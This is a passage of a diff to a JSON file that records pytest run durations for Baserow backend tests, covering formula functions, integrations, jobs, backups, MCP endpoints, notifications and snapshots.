"tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[23.34-None]": 0.012630166980670765, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[None-None]": 0.01367412501713261, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[arg5-expected5]": 0.012947126029757783, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[arg6-expected6]": 0.012915832980070263, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[arg7-expected7]": 0.012757750024320558, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_round_validate_type_of_args[foo-foo]": 0.012935584032675251, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_execute[args0-0]": 0.012827374943299219, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_execute[args1-5]": 0.012621041969396174, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_execute[args2-30]": 0.012655582977458835, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_execute[args3-49]": 0.012602749979123473, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_number_of_args[args0-False]": 0.013062667014310136, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_number_of_args[args1-True]": 0.012717667006654665, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_number_of_args[args2-False]": 0.01303879200713709, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[123-123]": 0.013167833007173613, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[123.45-123.45]": 0.012690458010183647, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[2025-11-06 11:30:30.861096+00:00-None]": 0.012736165983369574, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[2025-11-06-None]": 0.012700582999968901, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[23.34-23.34]": 0.012706164998235181, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[None-None]": 0.012718458019662648, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[arg0-None]": 0.012740375008434057, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[arg8-expected8]": 0.013303000014275312, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[arg9-expected9]": 0.013133375003235415, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_second_validate_type_of_args[foo-foo]": 0.012721124978270382, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_today_execute": 0.03636179197928868, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_today_validate_number_of_args[args0-True]": 0.013219667976954952, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_today_validate_number_of_args[args1-False]": 0.01300249999621883, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_execute[args0-APPLE]": 0.01273995902738534, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_execute[args1-BALL]": 0.012670292024267837, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_execute[args2-FOO BAR]": 0.012686166970524937, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_number_of_args[args0-False]": 0.012609750003321096, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_number_of_args[args1-True]": 0.013163583993446082, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_number_of_args[args2-False]": 0.012588957004481927, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[123-None]": 0.012632500991458073, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[123.45-None]": 0.012589582038344815, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[None-None]": 0.012647124996874481, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[arg4-None]": 0.012615834013558924, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[arg5-None]": 0.012603458017110825, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[arg6-None]": 0.012686042988207191, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_upper_validate_type_of_args[foo-None]": 0.012600543006556109, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_execute[args0-2023]": 0.012730958027532324, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_execute[args1-2024]": 0.01276662401505746, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_execute[args2-2025]": 0.012779333017533645, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_number_of_args[args0-False]": 0.012699083978077397, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_number_of_args[args1-True]": 0.012596707994816825, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_number_of_args[args2-False]": 0.012639293010579422, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[123-123]": 0.012625624978682026, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[123.45-123.45]": 0.012819208990549669, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[2025-11-06 11:30:30.861096+00:00-None]": 0.01261591599904932, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[2025-11-06-None]": 0.01276829102425836, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[23.34-23.34]": 0.012866499018855393, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[None-None]": 0.012666583032114431, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[arg0-None]": 0.012721542967483401, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[arg8-expected8]": 0.012766999017912894, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[arg9-expected9]": 0.013178708002669737, + "tests/baserow/core/formula/test_runtime_formula_types.py::test_runtime_year_validate_type_of_args[foo-foo]": 0.012789959000656381, + "tests/baserow/core/formula/test_validator.py::test_ensure_date": 0.012761916994350031, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[0.1]": 0.01268233303562738, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[1]": 0.012880417023552582, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[False]": 0.012759666977217421, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[invalid]": 0.013424750010017306, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[value2]": 0.012876998982392251, + "tests/baserow/core/formula/test_validator.py::test_ensure_date_throws_exception_for_invalid_value[value3]": 0.01266862399643287, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime": 0.012763209000695497, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[0.1]": 0.012662834022194147, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[1]": 0.012757457996485755, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[False]": 0.012734376010484993, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[invalid]": 0.012707790971035138, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[value2]": 0.012851249979576096, + "tests/baserow/core/formula/test_validator.py::test_ensure_datetime_throws_exception_for_invalid_value[value3]": 0.012700582999968901, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_max_file_size": 0.012811082997359335, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_delete_files": 0.012765999999828637, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_delete_files_error": 0.012675125006353483, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_is_file_compatible": 0.012761207006406039, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_prompt_with_files": 0.013799583015497774, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_prompt_with_files_error": 0.013051833026111126, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_upload_file": 0.012843958014855161, + "tests/baserow/core/generative_ai/test_generative_ai_model_types.py::test_openai_type_upload_file_error": 0.012783790996763855, + "tests/baserow/core/health/test_custom_health_checks.py::test_debug_health_check_does_not_raise_when_debug_false": 0.01262566598597914, + "tests/baserow/core/health/test_custom_health_checks.py::test_debug_health_check_raises_when_debug_true": 0.012927291973028332, + "tests/baserow/core/health/test_custom_health_checks.py::test_heroku_health_check_doesnt_raise_when_boto_set": 0.01254829001845792, + "tests/baserow/core/health/test_custom_health_checks.py::test_heroku_health_check_raises_when_default_storage_set": 0.012754624971421435, + "tests/baserow/core/import_export/test_export_job_handler.py::test_create_export_file": 0.4933872070105281, + "tests/baserow/core/import_export/test_export_job_types.py::test_no_exported_files_on_error": 0.33108004098176025, + "tests/baserow/core/import_export/test_export_job_types.py::test_success_export": 0.3936207920196466, + "tests/baserow/core/import_export/test_import_applications.py::test_import_with_missing_files": 0.3225328330299817, + "tests/baserow/core/import_export/test_import_applications.py::test_import_with_modified_files": 0.3374581260140985, + "tests/baserow/core/import_export/test_import_applications.py::test_import_with_unexpected_files": 0.3227350000233855, + "tests/baserow/core/import_export/test_import_applications.py::test_import_workspace_applications_calls_signals": 0.20734375098254532, + "tests/baserow/core/import_export/test_import_manifest.py::test_import_no_trusted_source": 0.31646379199810326, + "tests/baserow/core/import_export/test_import_manifest.py::test_import_without_signature_and_check_disabled": 0.3314574579708278, + "tests/baserow/core/import_export/test_import_manifest.py::test_import_without_signature_and_check_enabled": 0.34408191696275026, + "tests/baserow/core/import_export/test_import_manifest.py::test_import_without_signature_data": 0.4395195840043016, + "tests/baserow/core/import_export/test_resource_tasks.py::test_delete_marked_import_export_resources": 0.02907445898745209, + "tests/baserow/core/import_export/test_resource_tasks.py::test_mark_import_export_resources_for_deletion": 0.07832095702178776, + "tests/baserow/core/import_export/test_resource_tasks.py::test_resources_in_use_wont_be_deleted": 0.20996241699322127, + "tests/baserow/core/import_export/test_trusted_source.py::test_add_duplicated_public_key_fails": 0.020243543054675683, + "tests/baserow/core/import_export/test_trusted_source.py::test_add_invalid_public_key_fails": 0.017925332998856902, + "tests/baserow/core/import_export/test_trusted_source.py::test_add_valid_public_key": 0.019262707995949313, + "tests/baserow/core/import_export/test_trusted_source.py::test_remove_private_key_fails": 0.01897141698282212, + "tests/baserow/core/import_export/test_trusted_source.py::test_remove_public_key": 0.02070462700794451, + "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration[ai]": 0.09695254298276268, + "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration[local_baserow]": 0.0966304590110667, + "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration[slack_bot]": 0.09645116599858738, + "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration[smtp]": 0.09567791601875797, + "tests/baserow/core/integrations/test_integration_handler.py::test_create_integration_bad_application": 0.08999341700109653, + "tests/baserow/core/integrations/test_integration_handler.py::test_delete_integration": 0.10180345899425447, + "tests/baserow/core/integrations/test_integration_handler.py::test_get_integration": 0.09771479203482158, + "tests/baserow/core/integrations/test_integration_handler.py::test_get_integration_does_not_exist": 0.018747166002867743, + "tests/baserow/core/integrations/test_integration_handler.py::test_get_integrations": 0.24193583300802857, + "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_before": 0.24680537605308928, + "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_before_fails": 0.24104091699700803, + "tests/baserow/core/integrations/test_integration_handler.py::test_move_integration_end_of_application": 0.24735795796732418, + "tests/baserow/core/integrations/test_integration_handler.py::test_recalculate_full_orders": 0.76364495800226, + "tests/baserow/core/integrations/test_integration_handler.py::test_update_integration": 0.17096345897880383, + "tests/baserow/core/integrations/test_integration_handler.py::test_update_integration_invalid_values": 0.10039529096684419, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration[ai]": 0.24638166703516617, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration[local_baserow]": 0.24293087402475066, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration[slack_bot]": 0.24397762498119846, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration[smtp]": 0.23847112501971424, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration_before": 0.24336512605077587, + "tests/baserow/core/integrations/test_integration_service.py::test_create_integration_permission_denied": 0.09267541600274853, + "tests/baserow/core/integrations/test_integration_service.py::test_delete_integration": 0.10487854198436253, + "tests/baserow/core/integrations/test_integration_service.py::test_delete_integration_permission_denied": 0.329622583987657, + "tests/baserow/core/integrations/test_integration_service.py::test_get_integration": 0.09803362397360615, + "tests/baserow/core/integrations/test_integration_service.py::test_get_integration_does_not_exist": 0.08814558404264972, + "tests/baserow/core/integrations/test_integration_service.py::test_get_integration_permission_denied": 0.09547466700314544, + "tests/baserow/core/integrations/test_integration_service.py::test_get_integrations": 0.32488433297839947, + "tests/baserow/core/integrations/test_integration_service.py::test_get_unique_orders_before_integration_triggering_full_application_order_reset": 0.3979088330233935, + "tests/baserow/core/integrations/test_integration_service.py::test_move_integration": 0.3180532500264235, + "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_not_same_application": 0.3232425010064617, + "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_permission_denied": 0.30965662599192, + "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_trigger_order_recalculated": 0.32387445800122805, "tests/baserow/core/integrations/test_integration_service.py::test_move_integration_trigger_order_recalculed": 0.5337447080000857, - "tests/baserow/core/integrations/test_integration_service.py::test_recalculate_full_order": 0.40699783300078707, - "tests/baserow/core/integrations/test_integration_service.py::test_update_integration": 0.14466204099971947, - "tests/baserow/core/integrations/test_integration_service.py::test_update_integration_permission_denied": 0.3047361249991809, - "tests/baserow/core/jobs/test_job_tasks.py::test_cleanup_file_import_job": 1.3828087090005283, - "tests/baserow/core/jobs/test_job_tasks.py::test_run_task": 0.4673252919992592, - "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_failing_time_limit": 0.30667370799983473, - "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_exception": 0.31463583299955644, - "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_exception_mapping": 0.3188458329996138, - "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_sytemexit": 0.3128167069999108, - "tests/baserow/core/jobs/test_jobs_handler.py::test_create_and_start_job": 0.31327999999939493, - "tests/baserow/core/jobs/test_jobs_handler.py::test_create_and_start_job_with_system_exit": 0.30620908299988514, - "tests/baserow/core/jobs/test_jobs_handler.py::test_exceeding_max_job_count": 0.14235549900058686, - "tests/baserow/core/jobs/test_jobs_handler.py::test_get_job": 0.402224667000155, - "tests/baserow/core/jobs/test_jobs_handler.py::test_job_progress_changed_bug_regression": 0.2670314999995753, - "tests/baserow/core/jobs/test_jobs_models.py::test_cached_values": 0.140349584001342, - "tests/baserow/core/jobs/test_jobs_models.py::test_is_finished_queryset": 0.6576882079998541, - "tests/baserow/core/jobs/test_jobs_models.py::test_is_pending_or_running_queryset": 0.6604232499994396, - "tests/baserow/core/jobs/test_jobs_models.py::test_is_running_queryset": 0.6580908750001981, - "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_does_no_table_batches_when_no_user_tables_found": 0.03063099999963015, - "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_dumps_database_in_batches": 0.1710317910019512, - "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_includes_all_tables_when_batch_size_matches_num_tables": 0.032779375000245636, - "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_table_batches_includes_all_tables_when_final_batch_small": 0.35446329099977447, - "tests/baserow/core/management/test_backup_runner.py::test_can_backup_and_restore_baserow_reverting_changes": 0.00014520799959427677, - "tests/baserow/core/management/test_backup_runner.py::test_can_change_num_jobs_and_insert_extra_args_for_baserow_backup": 0.03902624900001683, - "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_only_does_first_restore_if_no_user_tables": 0.012720999999146443, - "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_passes_extra_args_to_all_pg_restores_and_can_set_jobs": 0.01221770799747901, - "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_raises_exception_if_sub_folder_not_found_after_extract": 0.012268875998415751, - "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_restores_contained_dumps_in_batches": 0.013331834001292009, + "tests/baserow/core/integrations/test_integration_service.py::test_recalculate_full_order": 0.2405286679859273, + "tests/baserow/core/integrations/test_integration_service.py::test_update_integration": 0.10458108299644664, + "tests/baserow/core/integrations/test_integration_service.py::test_update_integration_permission_denied": 0.3192512090317905, + "tests/baserow/core/jobs/test_job_tasks.py::test_cleanup_file_import_job": 0.8674558340280782, + "tests/baserow/core/jobs/test_job_tasks.py::test_run_task": 0.35180833301274106, + "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_failing_time_limit": 0.32177041700924747, + "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_exception": 0.31728112397831865, + "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_exception_mapping": 0.3297097089816816, + "tests/baserow/core/jobs/test_job_tasks.py::test_run_task_with_sytemexit": 0.3232742079999298, + "tests/baserow/core/jobs/test_jobs_handler.py::test_create_and_start_job": 0.32368316702195443, + "tests/baserow/core/jobs/test_jobs_handler.py::test_create_and_start_job_with_system_exit": 0.3362118749937508, + "tests/baserow/core/jobs/test_jobs_handler.py::test_exceeding_max_job_count": 0.09448208298999816, + "tests/baserow/core/jobs/test_jobs_handler.py::test_get_job": 0.2309005840215832, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_cancel_before_run": 0.3407812930236105, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_cancel_cancelled": 0.3438384580076672, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_cancel_failed": 0.349561166978674, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_cancel_finished": 0.33614441702957265, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_cancel_when_running": 0.886308832996292, + "tests/baserow/core/jobs/test_jobs_handler.py::test_job_progress_changed_bug_regression": 0.15871691700886004, + "tests/baserow/core/jobs/test_jobs_models.py::test_cached_values": 0.09049179198336788, + "tests/baserow/core/jobs/test_jobs_models.py::test_is_finished_queryset": 0.3769342090236023, + "tests/baserow/core/jobs/test_jobs_models.py::test_is_pending_or_running_queryset": 0.37579991700476967, + "tests/baserow/core/jobs/test_jobs_models.py::test_is_running_queryset": 0.3761201680172235, + "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_does_no_table_batches_when_no_user_tables_found": 0.04268037498695776, + "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_dumps_database_in_batches": 0.20016125100664794, + "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_includes_all_tables_when_batch_size_matches_num_tables": 0.04264908403274603, + "tests/baserow/core/management/test_backup_runner.py::test_backup_baserow_table_batches_includes_all_tables_when_final_batch_small": 0.04331258402089588, + "tests/baserow/core/management/test_backup_runner.py::test_can_backup_and_restore_baserow_reverting_changes": 0.00012245800462551415, + "tests/baserow/core/management/test_backup_runner.py::test_can_change_num_jobs_and_insert_extra_args_for_baserow_backup": 0.044823791016824543, + "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_only_does_first_restore_if_no_user_tables": 0.017648042005021125, + "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_passes_extra_args_to_all_pg_restores_and_can_set_jobs": 0.01822808396536857, + "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_raises_exception_if_sub_folder_not_found_after_extract": 0.017422167002223432, + "tests/baserow/core/management/test_backup_runner.py::test_restore_baserow_restores_contained_dumps_in_batches": 0.017891750030685216, + "tests/baserow/core/mcp/test_mcp_handler.py::test_create_endpoint": 0.09954924997873604, + "tests/baserow/core/mcp/test_mcp_handler.py::test_delete_endpoint": 0.16732262499863282, + "tests/baserow/core/mcp/test_mcp_handler.py::test_generate_unique_key": 0.1266518750344403, + "tests/baserow/core/mcp/test_mcp_handler.py::test_get_by_key": 0.16564633301459253, + "tests/baserow/core/mcp/test_mcp_handler.py::test_get_endpoint": 0.17347958197933622, + "tests/baserow/core/mcp/test_mcp_handler.py::test_update_endpoint": 0.1708728760422673, + "tests/baserow/core/mcp/test_mcp_server.py::test_call_tool_without_endpoint_key": 0.025341083004605025, + "tests/baserow/core/mcp/test_mcp_server.py::test_create_server": 0.016427375987404957, + "tests/baserow/core/mcp/test_mcp_server.py::test_get_endpoint_invalid_key": 0.019669416011311114, + "tests/baserow/core/mcp/test_mcp_server.py::test_get_endpoint_user_not_part_of_workspace": 0.10538970804191194, + "tests/baserow/core/mcp/test_mcp_server.py::test_get_valid_endpoint": 0.10432937502628192, + "tests/baserow/core/mcp/test_mcp_server.py::test_list_tools_with_valid_endpoint_key": 0.10897304097306915, + "tests/baserow/core/mcp/test_mcp_server.py::test_list_tools_without_endpoint_key": 0.028041042009135708, + "tests/baserow/core/mcp/test_mcp_utils.py::test_polymorphic_serializer_to_openapi_inline": 0.017029791022650898, + "tests/baserow/core/mcp/test_mcp_utils.py::test_serializer_to_openapi_inline": 0.014593500032788143, "tests/baserow/core/migrations/test_0019_extra_descriptions_to_names.py::test_extra_description_to_names_conversion": 6.998828304997005, - "tests/baserow/core/migrations/test_core_migrations.py::test_0082_remove_duplicate_workspace_invitation_forwards": 0.00013341700105229393, + "tests/baserow/core/migrations/test_core_migrations.py::test_0082_remove_duplicate_workspace_invitation_forwards": 8.987501496449113e-05, "tests/baserow/core/migrations/test_fix_trash_constraint.py::test_migration_doesnt_fail_if_duplicate_entries_present_with_parent_id": 1.1343691219954053, "tests/baserow/core/migrations/test_fix_trash_constraint.py::test_migration_doesnt_fail_if_duplicate_entries_present_without_parent_id": 1.3474722999999358, - "tests/baserow/core/notifications/test_notification_registry.py::test_get_web_frontend_url": 0.14011612499962212, - "tests/baserow/core/notifications/test_notification_registry.py::test_get_web_frontend_url_with_notification_that_has_url": 0.009335000000646687, - "tests/baserow/core/notifications/test_notification_types.py::test_baserow_version_upgrade_is_sent_as_broadcast_notification": 0.2998144579996733, - "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_accepting_group_invitation": 0.3037932509996608, - "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_creating_group_invitation": 0.30327612399923964, - "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_rejecting_group_invitation": 0.30589849900025, - "tests/baserow/core/notifications/test_notifications_handler.py::test_all_users_can_see_and_clear_broadcast_notifications": 0.29776020899953437, - "tests/baserow/core/notifications/test_notifications_handler.py::test_annotate_workspaces_with_unread_notifications_count": 0.14138012599960348, - "tests/baserow/core/notifications/test_notifications_handler.py::test_broadcast_notifications_are_not_sent_by_email": 0.4435656250007014, - "tests/baserow/core/notifications/test_notifications_handler.py::test_clear_all_direct_notifications": 0.15138116699927195, - "tests/baserow/core/notifications/test_notifications_handler.py::test_clear_direct_notifications_should_delete_them": 0.28891220899822656, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_included_up_to_email_limit": 0.32153029199889716, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_already_cleared_by_user": 0.32133008299933863, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_already_read_by_user": 0.31364929099981964, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_not_sent_if_global_setting_is_disabled": 0.31273891599994386, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_sent_just_once": 0.3158489580000605, - "tests/baserow/core/notifications/test_notifications_handler.py::test_email_notifications_are_sent_only_after_setting_is_activated": 0.3170940830004838, - "tests/baserow/core/notifications/test_notifications_handler.py::test_get_notification_by_id": 0.14366387599875452, - "tests/baserow/core/notifications/test_notifications_handler.py::test_get_unread_notifications_count": 0.1392835410006228, - "tests/baserow/core/notifications/test_notifications_handler.py::test_get_workspace_notifications": 0.14296741600082896, - "tests/baserow/core/notifications/test_notifications_handler.py::test_mark_all_notifications_as_read": 0.14979249899988645, - "tests/baserow/core/notifications/test_notifications_handler.py::test_mark_notification_as_read": 0.14353999999912048, - "tests/baserow/core/notifications/test_notifications_handler.py::test_no_email_without_renderable_notifications": 0.14556462399923475, - "tests/baserow/core/notifications/test_notifications_handler.py::test_not_all_notification_types_are_included_in_the_email_notification_summary": 0.32439587600038067, - "tests/baserow/core/notifications/test_notifications_handler.py::test_queued_notifications_are_not_visible_to_the_users": 0.28294020800058206, - "tests/baserow/core/notifications/test_notifications_handler.py::test_queued_notifications_are_sent_grouped_by_user": 0.44810783400043874, - "tests/baserow/core/notifications/test_notifications_handler.py::test_user_with_daily_email_notification_frequency_settings[daily]": 0.5780592930004786, - "tests/baserow/core/notifications/test_notifications_handler.py::test_user_with_daily_email_notification_frequency_settings[weekly]": 0.584364166999876, - "tests/baserow/core/notifications/test_notifications_signals.py::test_all_notifications_cleared_signal_called": 0.1424454580001111, - "tests/baserow/core/notifications/test_notifications_signals.py::test_all_notifications_marked_as_read_signal_called": 0.14293325100061338, - "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_broadcast_created_signal_called": 0.010838083001544874, - "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_created_signal_called": 0.27102554199973383, - "tests/baserow/core/notifications/test_notifications_signals.py::test_notification_marked_as_read_signal_called": 0.26754295799946703, - "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_at_correct_time_according_to_user_timezone": 0.5795071259999531, - "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_up_to_max_limit_per_task_and_log_the_error": 0.8139051250000193, - "tests/baserow/core/notifications/test_notifications_tasks.py::test_daily_report_is_sent_up_to_max_limit_per_task_log_the_error_and_retry_after": 0.7677031260000149, - "tests/baserow/core/notifications/test_notifications_tasks.py::test_weekly_report_is_sent_at_correct_date_and_time_according_to_user_timezone": 0.5533631680000326, - "tests/baserow/core/service/test_service_handler.py::test_create_service": 0.14672450099988055, - "tests/baserow/core/service/test_service_handler.py::test_delete_service": 0.14729712500047754, - "tests/baserow/core/service/test_service_handler.py::test_dispatch_local_baserow_get_row_service_missing_integration": 0.011589292000280693, - "tests/baserow/core/service/test_service_handler.py::test_get_service": 0.14382066700090945, - "tests/baserow/core/service/test_service_handler.py::test_get_service_does_not_exist": 0.012905458999739494, - "tests/baserow/core/service/test_service_handler.py::test_get_services": 0.14449087499997404, - "tests/baserow/core/service/test_service_handler.py::test_update_service": 0.14573874899997463, - "tests/baserow/core/service/test_service_handler.py::test_update_service_filters": 0.2941160830005174, - "tests/baserow/core/service/test_service_handler.py::test_update_service_invalid_values": 0.14413024999976187, - "tests/baserow/core/service/test_service_handler.py::test_update_service_sortings": 0.2977617090000422, - "tests/baserow/core/service/test_service_type.py::test_service_type_generate_schema": 0.008044500000323751, - "tests/baserow/core/service/test_service_type.py::test_service_type_get_schema_name": 0.008293499999126652, - "tests/baserow/core/snapshots/test_snapshot_actions.py::test_create_snapshot_action_type": 0.15388674999940122, - "tests/baserow/core/snapshots/test_snapshot_actions.py::test_delete_snapshot_action_type": 0.4597310000008292, - "tests/baserow/core/snapshots/test_snapshot_actions.py::test_restore_snapshot_action_type": 0.288475749999634, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_delete_expired_snapshots": 0.3888662090002981, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create": 0.3072682909987634, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create_export_serialized_raises_operationalerror": 0.14319500099918514, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_create_preserves_last_modified_by": 0.3188282490000347, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_perform_restore": 0.30832904199996847, - "tests/baserow/core/snapshots/test_snapshot_handler.py::test_skip_schedule_deletion_when_snapshot_not_created_yet": 0.14022870899952977, + "tests/baserow/core/notifications/test_notification_registry.py::test_get_web_frontend_url": 0.09448129101656377, + "tests/baserow/core/notifications/test_notification_registry.py::test_get_web_frontend_url_with_notification_that_has_url": 0.01904491797904484, + "tests/baserow/core/notifications/test_notification_types.py::test_baserow_version_upgrade_is_sent_as_broadcast_notification": 0.21171062599751167, + "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_accepting_group_invitation": 0.2239673739823047, + "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_creating_group_invitation": 0.23018462499021553, + "tests/baserow/core/notifications/test_notification_types.py::test_notification_creation_on_rejecting_group_invitation": 0.2162389580043964, + "tests/baserow/core/notifications/test_notifications_handler.py::test_all_users_can_see_and_clear_broadcast_notifications": 0.19662537600379437, + "tests/baserow/core/notifications/test_notifications_handler.py::test_annotate_workspaces_with_unread_notifications_count": 0.09546295797917992, + 